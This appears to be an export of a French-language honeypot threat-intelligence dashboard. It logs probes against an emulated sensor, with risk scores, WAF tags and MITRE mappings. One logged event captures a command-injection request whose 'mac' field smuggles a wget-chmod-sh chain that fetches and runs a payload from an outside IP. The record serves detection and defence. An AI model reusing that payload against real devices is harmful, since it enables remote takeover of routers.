"tags_summary_labels_fr": null,
"recommended_action": "monitor",
"recommended_action_label": "Surveiller",
"mitre": "TA0007",
"mitre_technique": "TA0007",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "Docker 24.0.5",
"correlation_flags": null,
"correlation_flags_labels_fr": null,
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": null,
"protocol_details": {
"payload_preview": "GET \/_ping HTTP\/1.1\r\nHost: 62.3.50.33:2375\r\nUser-Agent: Go-http-client\/1.1\r\nAccept-Encoding: gzip\r\nConnection: close",
"port": 2375,
"service": "docker",
"service_label_fr": "DOCKER"
},
"attack_vector": "docker api probe \u00b7 via DOCKER:2375 \u00b7 (sonde \/ probe)",
"evidence_snippet": "GET \/_ping HTTP\/1.1\r\nHost: 62.3.50.33:2375\r\nUser-Agent: Go-http-client\/1.1\r\nAccept-Encoding: gzip\r\nConnection: close",
"target_port_label": "2375 \u00b7 DOCKER",
"emulator_service": "docker",
"confidence_reason": "Confiance 0 % \u2014 5 signal(aux) capteur",
"confidence_factors_fr": null,
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": true,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": false,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "discovery",
"label_fr": "D\u00e9couverte",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "docker",
"service_banner": "Docker 24.0.5",
"service_os": "linux",
"dst_port": "2375"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"attack_chain_stage": "discovery",
"matched_patterns": [],
"ban_policy": "advisory_monitor",
"tags_list": [
"docker_api_probe",
"docker_emulated",
"docker_payload",
"http_get_probe",
"net_docker_api_probe"
],
"behavior_alert_count": 2,
"behavior_priority": 84
}
|
|
|
TCP |
22 · SSH
|
ssh
|
Sonde port 22/TCP
port 22 tcp · via SSH:22 · (sonde / probe)
|
Élevée
|
Moyen · 42
|
|
Étape
Sonde / probe
Chaîne
Découverte
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
MITRE
TA0007
TA0007
TA0001
Protocole
Émulateur
SSH
WAF
—
Recommandation
Surveiller
Tags
net_ssh_probe
ssh_banner_grab
ssh_emulated
Cible HTTP
—
TLS SNI
—
Capteur
paris-1
|
Méthode
—
Port
22
Chemin / cible
—
Preuve honeypot — Sonde port 22/TCP
Connexion détectée sur le port 22 (TCP) du capteur simulé.
Pourquoi cette classification : Bannière client SSH reçue · confiance 55%
Confiance classification
55%
Risque capteur
Moyen
· 42
Confiance : Confiance 55 % — Classification nommée non retenue — preuves insuffisantes
Protocole émulé
1
Technique MITRE
TA0007
Tactiques MITRE
TA0007
TA0001
User-Agent
—
Règles WAF
—
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "5353482d322e302d4f70656e5353485f392e337031205562756e74752d317562756e7475330d0a",
"emulator_response_len": 39,
"port_inferred_service": true,
"bytes_in": 0,
"payload_entropy": 0,
"port_category": "well_known",
"org": "Vpsvault.host Ltd",
"service": "ssh",
"app_proto": "ssh",
"asn": 215925,
"country": "US",
"dst_port": 22,
"risk_waf": 8,
"risk_classification": 38,
"risk_behavior": 0,
"risk_geo": 0,
"risk_protocol": 36,
"risk_novelty": 0,
"risk_boost": 0,
"risk_granularity": 4.6,
"risk_breakdown": {
"waf": 8,
"classification": 38,
"behavior": 0,
"geo": 0,
"protocol": 36,
"novelty": 0
},
"risk_score": 42,
"tag_count": 3,
"anomaly_count": 0,
"campaign_key": "2fd70191c11cf3311d4327222cbdc90f08e4fc6b",
"event_fingerprint": "bc4e3fa786c83e0db7c1c892cb0c288f6b14388f",
"classification_reason": "Banni\u00e8re client SSH re\u00e7ue \u00b7 confiance 55%",
"confidence": 0.55,
"classification_confidence": 0.55,
"precision_score": 0,
"precision_signals": [],
"kb_rule_ids": [],
"confidence_breakdown": {
"waf": 8,
"classification": 38,
"behavior": 0,
"geo": 0,
"protocol": 36,
"novelty": 0,
"risk_score": 42
},
"named_classification_skipped": true,
"named_candidate": "ssh_probe",
"service_name": "ssh",
"risk_confidence_factor": 55,
"city": null,
"is_datacenter": false,
"is_tor_hint": false,
"geo": {
"country": "US",
"asn": 215925,
"org": "Vpsvault.host Ltd",
"is_datacenter": false,
"is_tor_hint": false
},
"fingerprint": {
"path_pattern_hash": "4d94c79baddfcb6b1b3c2c5fdc6c79e1"
},
"target_context": {
"dst_port": 22,
"service": "ssh",
"service_name": "ssh",
"risk_score": 42
},
"attack_stage": "probe",
"mitre_tactics": [
"TA0007",
"TA0001"
],
"mitre": "TA0007",
"threat_family": [
"unknown"
],
"recommended_client_action": "monitor",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "253e0824820a41dd714cfbe0c15753d50a2181da",
"protocol_details": {
"port": 22,
"service": "ssh",
"service_label_fr": "SSH"
},
"attack_vector": "port 22 tcp \u00b7 via SSH:22 \u00b7 (sonde \/ probe)",
"target_port_label": "22 \u00b7 SSH",
"emulator_service": "ssh",
"confidence_reason": "Confiance 55 % \u2014 Classification nomm\u00e9e non retenue \u2014 preuves insuffisantes",
"site_display": {
"classification": null,
"classification_reason": "Banni\u00e8re client SSH re\u00e7ue \u00b7 confiance 55%",
"classification_reason_label_fr": "Banni\u00e8re client SSH re\u00e7ue \u00b7 confiance 55%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u00b7 risque 42\/100",
"confidence_pct": 55,
"confidence_breakdown": {
"waf": 8,
"classification": 38,
"behavior": 0,
"geo": 0,
"protocol": 36,
"novelty": 0,
"risk_score": 42
},
"attack_stage": "probe",
"attack_stage_label": "Sonde \/ probe",
"attack_chain_stage": "discovery",
"attack_chain_stage_label_fr": "D\u00e9couverte",
"risk_score": 42,
"risk_label": "Moyen",
"service_name": "ssh",
"service_label_fr": "SSH",
"dst_port": 22,
"protocol_emulated": true,
"tags_summary": null,
"tags_summary_labels_fr": null,
"recommended_action": "monitor",
"recommended_action_label": "Surveiller",
"mitre": "TA0007",
"mitre_technique": "TA0007",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "OpenSSH_8.9p1 Ubuntu",
"correlation_flags": null,
"correlation_flags_labels_fr": null,
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": null,
"protocol_details": {
"port": 22,
"service": "ssh",
"service_label_fr": "SSH"
},
"attack_vector": "port 22 tcp \u00b7 via SSH:22 \u00b7 (sonde \/ probe)",
"evidence_snippet": null,
"target_port_label": "22 \u00b7 SSH",
"emulator_service": "ssh",
"confidence_reason": "Confiance 55 % \u2014 Classification nomm\u00e9e non retenue \u2014 preuves insuffisantes",
"confidence_factors_fr": "Confiance 55 % \u2014 Score WAF 8",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": true,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": false,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "discovery",
"label_fr": "D\u00e9couverte",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "ssh",
"service_banner": "OpenSSH_8.9p1 Ubuntu",
"service_os": "linux",
"dst_port": "22"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"attack_chain_stage": "discovery",
"matched_patterns": [],
"ban_policy": "advisory_monitor",
"tags_list": [
"net_ssh_probe",
"ssh_banner_grab",
"ssh_emulated"
]
}
|
|
|
TCP |
8080 · HTTP
|
http
|
Injection de commande
cmd injection · via HTTP:8080 · (tentative d'exploit) · → /goform/set_LimitClient_cfg
|
Élevée
|
Élevé · 81
|
|
Étape
Tentative d'exploit
Chaîne
Exploitation
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
MITRE
T1059
TA0001
TA0002
Protocole
POST /goform/set_LimitClient_cfg UA Go-http-client/1.1
Émulateur
HTTP
WAF
33
Recommandation
Investiguer
Tags
950319:lfi-14
950327:rce-0
950407:ssrf-3
950468:nosqli-3
Cible HTTP
POST
/goform/set_LimitClient_cfg
TLS SNI
—
Capteur
paris-1
|
Méthode
POST
Port
8080
Chemin / cible
/goform/set_LimitClient_cfg
Pourquoi cette classification : Injection de commande (tag lfi-14) · Injection commande dans la requête · confiance 100%
Confiance classification
100%
Risque capteur
Élevé
· 81
Confiance : Confiance 100 % — Preuve dans le payload · Motif catalogue confirmé
Protocole émulé
1
Signaux
MITRE-T1059
Http Cmdi
pat-0773
pat-0146
Tactiques MITRE
TA0001
TA0002
Motifs de détection (base)
CRS 921130 duplicate CL
CRS 932100 cmd exec
CRS 932205
LFI Double-dot bypass
Ligne de requête
POST /goform/set_LimitClient_cfg HTTP/1.1
User-Agent
Go-http-client/1.1
Règles WAF
lfi-14
rce-0
ssrf-3
nosqli-3
Payload (extrait)
POST /goform/set_LimitClient_cfg HTTP/1.1
Host: 62.3.50.33:8080
User-Agent: Go-http-client/1.1
Content-Length: 100
Cookie: u
Requête brute (extrait)
POST /goform/set_LimitClient_cfg HTTP/1.1 Host: 62.3.50.33:8080 User-Agent: Go-http-client/1.1 Content-Length: 100 Cookie: user=admin Accept-Encoding: gzip time1=00:00-00:00&time2=00:00-00:00&mac=;wget http://5.182.210.61/ok; chmod 777 ok; sh ok; r
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a206e67696e782f312e32342e300d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b",
"emulator_response_len": 81,
"http_header_count": 5,
"http_query_params": 0,
"http_path_depth": 2,
"http_path_ext": null,
"http_ua_hash": "c3e68bb8f388240c7ecaebb8bcb80a85536526f2",
"http_host_hash": "c9908f9a31aefa5902e21ee9fa132cbe056c536d",
"http_target_hash": "11e5f78f4036aff2c472248972fe32123c6ace43",
"http_referer_hash": null,
"http_method": "POST",
"http_ua_is_cli": true,
"http_ua_is_browser": false,
"bytes_in": 264,
"payload_entropy": 5.172736270692932,
"port_category": "registered",
"org": "Vpsvault.host Ltd",
"service": "http",
"app_proto": "http",
"asn": 215925,
"country": "US",
"dst_port": 8080,
"risk_waf": 100,
"risk_classification": 85,
"risk_behavior": 0,
"risk_geo": 0,
"risk_protocol": 43,
"risk_novelty": 25,
"risk_boost": 15,
"risk_granularity": 6.2,
"risk_breakdown": {
"waf": 100,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25
},
"risk_score": 81,
"tag_count": 12,
"anomaly_count": 0,
"campaign_key": "bfd95dd1664d7964b6f51fe2c5f2170cdb8bc751",
"event_fingerprint": "f90f35827364d62ec2c72d5e93215efbc4708ab9",
"classification_reason": "Injection de commande (tag lfi-14) \u00b7 Injection commande dans la requ\u00eate \u00b7 confiance 100%",
"confidence": 1,
"classification_confidence": 1,
"precision_score": 294,
"precision_signals": [
"MITRE-T1059",
"INT-http_cmdi",
"pat-0773",
"pat-0146"
],
"kb_rule_ids": [
"MITRE-T1059",
"INT-http_cmdi",
"pat-0773",
"pat-0146"
],
"matched_patterns": [
"pat-0842",
"pat-0773",
"pat-0146",
"pat-0103"
],
"matched_pattern_names": [
"CRS 921130 duplicate CL",
"CRS 932100 cmd exec",
"CRS 932205",
"LFI Double-dot bypass"
],
"pattern_ids": [
"pat-0842",
"pat-0773",
"pat-0146",
"pat-0103"
],
"confidence_breakdown": {
"waf": 100,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25,
"risk_score": 81
},
"named_classification_skipped": false,
"service_name": "http",
"risk_confidence_factor": 100,
"city": null,
"is_datacenter": false,
"is_tor_hint": false,
"geo": {
"country": "US",
"asn": 215925,
"org": "Vpsvault.host Ltd",
"is_datacenter": false,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "12bd583dd25b868e6423d8f04cc19fd1",
"payload_hash": "0c87f0e46e5e0a01593c46f662710da0",
"path_pattern_hash": "f2a8d0719ad1915fd61c32b0d79b0a33"
},
"target_context": {
"dst_port": 8080,
"service": "http",
"service_name": "http",
"risk_score": 81
},
"payload_preview": "POST \/goform\/set_LimitClient_cfg HTTP\/1.1\r\nHost: 62.3.50.33:8080\r\nUser-Agent: Go-http-client\/1.1\r\nContent-Length: 100\r\nCookie: u",
"method": "POST",
"path": "\/goform\/set_LimitClient_cfg",
"user_agent": "Go-http-client\/1.1",
"waf_tags": [
"950319:lfi-14",
"950327:rce-0",
"950407:ssrf-3",
"950468:nosqli-3",
"950471:nosqli-3"
],
"waf_rule_names": [
"lfi-14",
"rce-0",
"ssrf-3",
"nosqli-3"
],
"request_line": "POST \/goform\/set_LimitClient_cfg HTTP\/1.1",
"request_sample": "POST \/goform\/set_LimitClient_cfg HTTP\/1.1\r\nHost: 62.3.50.33:8080\r\nUser-Agent: Go-http-client\/1.1\r\nContent-Length: 100\r\nCookie: user=admin\r\nAccept-Encoding: gzip\r\n\r\ntime1=00:00-00:00&time2=00:00-00:00&mac=;wget http:\/\/5.182.210.61\/ok; chmod 777 ok; sh ok; r",
"payload_snippet": "POST \/goform\/set_LimitClient_cfg HTTP\/1.1\r\nHost: 62.3.50.33:8080\r\nUser-Agent: Go-http-client\/1.1\r\nContent-Length: 100\r\nCookie: u",
"evidence": {
"method": "POST",
"path": "\/goform\/set_LimitClient_cfg",
"user_agent": "Go-http-client\/1.1",
"waf_tags": [
"950319:lfi-14",
"950327:rce-0",
"950407:ssrf-3",
"950468:nosqli-3",
"950471:nosqli-3"
],
"waf_rule_names": [
"lfi-14",
"rce-0",
"ssrf-3",
"nosqli-3"
],
"request_line": "POST \/goform\/set_LimitClient_cfg HTTP\/1.1",
"request_sample": "POST \/goform\/set_LimitClient_cfg HTTP\/1.1\r\nHost: 62.3.50.33:8080\r\nUser-Agent: Go-http-client\/1.1\r\nContent-Length: 100\r\nCookie: user=admin\r\nAccept-Encoding: gzip\r\n\r\ntime1=00:00-00:00&time2=00:00-00:00&mac=;wget http:\/\/5.182.210.61\/ok; chmod 777 ok; sh ok; r",
"payload_snippet": "POST \/goform\/set_LimitClient_cfg HTTP\/1.1\r\nHost: 62.3.50.33:8080\r\nUser-Agent: Go-http-client\/1.1\r\nContent-Length: 100\r\nCookie: u",
"classification_reason": "Injection de commande (tag lfi-14) \u00b7 Injection commande dans la requ\u00eate \u00b7 confiance 100%"
},
"attack_stage": "exploit_attempt",
"mitre_tactics": [
"TA0001",
"TA0002"
],
"mitre_techniques": [
"T1059",
"T1190"
],
"mitre": "T1059",
"threat_family": [
"rce_probe",
"ssrf_probe"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "88fbb60c178c1bfb340454407730cc261dbb3eb5",
"protocol_details": {
"http_method": "POST",
"http_path": "\/goform\/set_LimitClient_cfg",
"request_line": "POST \/goform\/set_LimitClient_cfg HTTP\/1.1",
"http_user_agent": "Go-http-client\/1.1",
"port": 8080,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "POST \/goform\/set_LimitClient_cfg HTTP\/1.1\r\nHost: 62.3.50.33:8080\r\nUser-Agent: Go-http-client\/1.1\r\nContent-Length: 100\r\nCookie: u",
"attack_vector": "cmd injection \u00b7 via HTTP:8080 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/goform\/set_LimitClient_cfg",
"target_port_label": "8080 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 Preuve dans le payload \u00b7 Motif catalogue confirm\u00e9",
"site_display": {
"classification": null,
"classification_reason": "Injection de commande (tag lfi-14) \u00b7 Injection commande dans la requ\u00eate \u00b7 confiance 100%",
"classification_reason_label_fr": "Injection de commande (tag lfi-14) \u00b7 Injection commande dans la requ\u00eate \u00b7 confiance 100%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 81\/100 (\u00c9lev\u00e9) \u2014 MITRE T1059 \u2014 confiance 100 % \u2014 via HTTP",
"confidence_pct": 100,
"confidence_breakdown": {
"waf": 100,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25,
"risk_score": 81
},
"attack_stage": "exploit_attempt",
"attack_stage_label": "Tentative d'exploit",
"attack_chain_stage": "exploitation",
"attack_chain_stage_label_fr": "Exploitation",
"risk_score": 81,
"risk_label": "\u00c9lev\u00e9",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 8080,
"protocol_emulated": true,
"tags_summary": [
"MITRE-T1059",
"INT-http_cmdi",
"pat-0773",
"pat-0146"
],
"tags_summary_labels_fr": [
"MITRE-T1059",
"Http Cmdi",
"pat-0773",
"pat-0146"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "T1059",
"mitre_technique": "T1059",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": null,
"correlation_flags_labels_fr": null,
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": null,
"protocol_details": {
"http_method": "POST",
"http_path": "\/goform\/set_LimitClient_cfg",
"request_line": "POST \/goform\/set_LimitClient_cfg HTTP\/1.1",
"http_user_agent": "Go-http-client\/1.1",
"port": 8080,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "cmd injection \u00b7 via HTTP:8080 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/goform\/set_LimitClient_cfg",
"evidence_snippet": "POST \/goform\/set_LimitClient_cfg HTTP\/1.1\r\nHost: 62.3.50.33:8080\r\nUser-Agent: Go-http-client\/1.1\r\nContent-Length: 100\r\nCookie: u",
"target_port_label": "8080 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 Preuve dans le payload \u00b7 Motif catalogue confirm\u00e9",
"confidence_factors_fr": "Confiance 100 % \u2014 Score WAF 100 \u00b7 5 tag(s) WAF",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": true,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "exploitation",
"label_fr": "Exploitation",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "8080"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"attack_chain_stage": "exploitation",
"ban_policy": "advisory_investigate",
"tags_list": [
"950319:lfi-14",
"950327:rce-0",
"950407:ssrf-3",
"950468:nosqli-3",
"950471:nosqli-3",
"http_cmd_injection",
"http_jwt_body",
"http_probe_goform",
"http_sensitive_path",
"http_ssrf_body",
"http_ua_suspicious",
"net_web_probe"
]
}
|
|
|
TCP |
18080 · MONERO P2P
|
monero-p2p
|
imap bruteforce
imap bruteforce · via MONERO P2P:18080 · (sonde / probe)
|
Élevée
|
Moyen · 41
|
|
Étape
Sonde / probe
Chaîne
Découverte
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
MITRE
T1110
TA0007
TA0001
Protocole
Émulateur
MONERO-P2P
WAF
—
Recommandation
Surveiller
Tags
http_get_probe
imap_probe
monero_p2p_emulated
monero_p2p_payload
Cible HTTP
—
TLS SNI
—
Capteur
paris-1
|
Méthode
—
Port
18080
Chemin / cible
—
Service
MONERO P2P
Payload
GET /login HTTP/1.1 Host: 62.3.50.33:18080 User-Agent: Go-http-client/1.1 Connection: close Accept-Encoding: gzip
Pourquoi cette classification : Type « imap_bruteforce » (signaux protocolaires) · confiance 95%
Confiance classification
95%
Risque capteur
Moyen
· 41
Confiance : Confiance 95 % — Motif catalogue confirmé
Protocole émulé
1
Signaux
Email Imap Login
Tactiques MITRE
TA0007
TA0001
User-Agent
—
Règles WAF
—
Payload (extrait)
GET /login HTTP/1.1
Host: 62.3.50.33:18080
User-Agent: Go-http-client/1.1
Connection: close
Accept-Encoding: gzip
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "01110101010101010000000000000000",
"emulator_response_len": 16,
"bytes_in": 121,
"payload_entropy": 4.881056474106557,
"port_category": "registered",
"org": "Vpsvault.host Ltd",
"service": "monero-p2p",
"app_proto": "monero-p2p",
"asn": 215925,
"country": "US",
"dst_port": 18080,
"risk_waf": 8,
"risk_classification": 66,
"risk_behavior": 0,
"risk_geo": 0,
"risk_protocol": 40,
"risk_novelty": 25,
"risk_boost": 0,
"risk_granularity": 2.9,
"risk_breakdown": {
"waf": 8,
"classification": 66,
"behavior": 0,
"geo": 0,
"protocol": 40,
"novelty": 25
},
"risk_score": 41,
"tag_count": 5,
"anomaly_count": 0,
"campaign_key": "e33e7bea198ba501d7b0363e06a121562f9b62d8",
"event_fingerprint": "9805bd2d8e2babb93b4750898ffa60f92edfba86",
"classification_reason": "Type \u00ab imap_bruteforce \u00bb (signaux protocolaires) \u00b7 confiance 95%",
"confidence": 0.95,
"classification_confidence": 0.95,
"precision_score": 76,
"precision_signals": [
"INT-EMAIL-imap-login"
],
"kb_rule_ids": [
"INT-EMAIL-imap-login"
],
"confidence_breakdown": {
"waf": 8,
"classification": 66,
"behavior": 0,
"geo": 0,
"protocol": 40,
"novelty": 25,
"risk_score": 41
},
"named_classification_skipped": false,
"service_name": "monero-p2p",
"risk_confidence_factor": 95,
"city": null,
"is_datacenter": false,
"is_tor_hint": false,
"geo": {
"country": "US",
"asn": 215925,
"org": "Vpsvault.host Ltd",
"is_datacenter": false,
"is_tor_hint": false
},
"fingerprint": {
"payload_hash": "7f5ae21646f65d736d23178a9d7a6b9a",
"path_pattern_hash": "d01bbf3f52d5029936b2dffb0f5e856f"
},
"target_context": {
"dst_port": 18080,
"service": "monero-p2p",
"service_name": "monero-p2p",
"risk_score": 41
},
"payload_preview": "GET \/login HTTP\/1.1\r\nHost: 62.3.50.33:18080\r\nUser-Agent: Go-http-client\/1.1\r\nConnection: close\r\nAccept-Encoding: gzip\r\n\r\n",
"request_sample": "GET \/login HTTP\/1.1\r\nHost: 62.3.50.33:18080\r\nUser-Agent: Go-http-client\/1.1\r\nConnection: close\r\nAccept-Encoding: gzip\r\n\r\n",
"payload_snippet": "GET \/login HTTP\/1.1\r\nHost: 62.3.50.33:18080\r\nUser-Agent: Go-http-client\/1.1\r\nConnection: close\r\nAccept-Encoding: gzip",
"evidence": {
"request_sample": "GET \/login HTTP\/1.1\r\nHost: 62.3.50.33:18080\r\nUser-Agent: Go-http-client\/1.1\r\nConnection: close\r\nAccept-Encoding: gzip\r\n\r\n",
"payload_snippet": "GET \/login HTTP\/1.1\r\nHost: 62.3.50.33:18080\r\nUser-Agent: Go-http-client\/1.1\r\nConnection: close\r\nAccept-Encoding: gzip",
"classification_reason": "Type \u00ab imap_bruteforce \u00bb (signaux protocolaires) \u00b7 confiance 95%"
},
"attack_stage": "probe",
"mitre_tactics": [
"TA0007",
"TA0001"
],
"mitre_techniques": [
"T1110"
],
"mitre": "T1110",
"threat_family": [
"unknown"
],
"recommended_client_action": "monitor",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "2a5f0ade23d59de46b82f1e313b25205af9fcc71",
"protocol_details": {
"payload_preview": "GET \/login HTTP\/1.1\r\nHost: 62.3.50.33:18080\r\nUser-Agent: Go-http-client\/1.1\r\nConnection: close\r\nAccept-Encoding: gzip",
"port": 18080,
"service": "monero-p2p",
"service_label_fr": "MONERO P2P"
},
"evidence_snippet": "GET \/login HTTP\/1.1\r\nHost: 62.3.50.33:18080\r\nUser-Agent: Go-http-client\/1.1\r\nConnection: close\r\nAccept-Encoding: gzip",
"attack_vector": "imap bruteforce \u00b7 via MONERO P2P:18080 \u00b7 (sonde \/ probe)",
"target_port_label": "18080 \u00b7 MONERO P2P",
"emulator_service": "monero-p2p",
"confidence_reason": "Confiance 95 % \u2014 Motif catalogue confirm\u00e9",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab imap_bruteforce \u00bb (signaux protocolaires) \u00b7 confiance 95%",
"classification_reason_label_fr": "Type \u00ab imap_bruteforce \u00bb (signaux protocolaires) \u00b7 confiance 95%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u00b7 risque 41\/100",
"confidence_pct": 95,
"confidence_breakdown": {
"waf": 8,
"classification": 66,
"behavior": 0,
"geo": 0,
"protocol": 40,
"novelty": 25,
"risk_score": 41
},
"attack_stage": "probe",
"attack_stage_label": "Sonde \/ probe",
"attack_chain_stage": "discovery",
"attack_chain_stage_label_fr": "D\u00e9couverte",
"risk_score": 41,
"risk_label": "Moyen",
"service_name": "monero-p2p",
"service_label_fr": "MONERO P2P",
"dst_port": 18080,
"protocol_emulated": true,
"tags_summary": [
"INT-EMAIL-imap-login"
],
"tags_summary_labels_fr": [
"Email Imap Login"
],
"recommended_action": "monitor",
"recommended_action_label": "Surveiller",
"mitre": "T1110",
"mitre_technique": "T1110",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-monero-p2p",
"correlation_flags": null,
"correlation_flags_labels_fr": null,
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": null,
"protocol_details": {
"payload_preview": "GET \/login HTTP\/1.1\r\nHost: 62.3.50.33:18080\r\nUser-Agent: Go-http-client\/1.1\r\nConnection: close\r\nAccept-Encoding: gzip",
"port": 18080,
"service": "monero-p2p",
"service_label_fr": "MONERO P2P"
},
"attack_vector": "imap bruteforce \u00b7 via MONERO P2P:18080 \u00b7 (sonde \/ probe)",
"evidence_snippet": "GET \/login HTTP\/1.1\r\nHost: 62.3.50.33:18080\r\nUser-Agent: Go-http-client\/1.1\r\nConnection: close\r\nAccept-Encoding: gzip",
"target_port_label": "18080 \u00b7 MONERO P2P",
"emulator_service": "monero-p2p",
"confidence_reason": "Confiance 95 % \u2014 Motif catalogue confirm\u00e9",
"confidence_factors_fr": "Confiance 95 % \u2014 Score WAF 8",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": true,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": false,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "discovery",
"label_fr": "D\u00e9couverte",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "monero_p2p",
"service_banner": "honeypot-monero-p2p",
"service_os": "linux",
"dst_port": "18080"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"attack_chain_stage": "discovery",
"matched_patterns": [],
"ban_policy": "advisory_monitor",
"tags_list": [
"http_get_probe",
"imap_probe",
"monero_p2p_emulated",
"monero_p2p_payload",
"net_monero_probe"
],
"behavior_alert_count": 2,
"behavior_priority": 84
}
|
|
|
TCP |
8888 · HTTP
|
http
|
jenkins probe
jenkins probe · via HTTP:8888 · (sonde / probe) · → /login
|
Élevée
|
Faible · 35
|
|
Étape
Sonde / probe
Chaîne
Découverte
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
MITRE
TA0007
TA0007
TA0001
Protocole
GET /login UA Go-http-client/1.1
Émulateur
HTTP
WAF
0
Recommandation
Surveiller
Tags
http_probe_login
http_ua_suspicious
net_web_probe
Cible HTTP
GET
/login
TLS SNI
—
Capteur
paris-1
|
Méthode
GET
Port
8888
Chemin / cible
/login
Pourquoi cette classification : Type « jenkins_probe » (signaux protocolaires) · confiance 47%
Confiance classification
47%
Confiance modérée — signal unique
Risque capteur
Faible
· 35
Confiance : Confiance 47 % — Motif catalogue confirmé
Protocole émulé
1
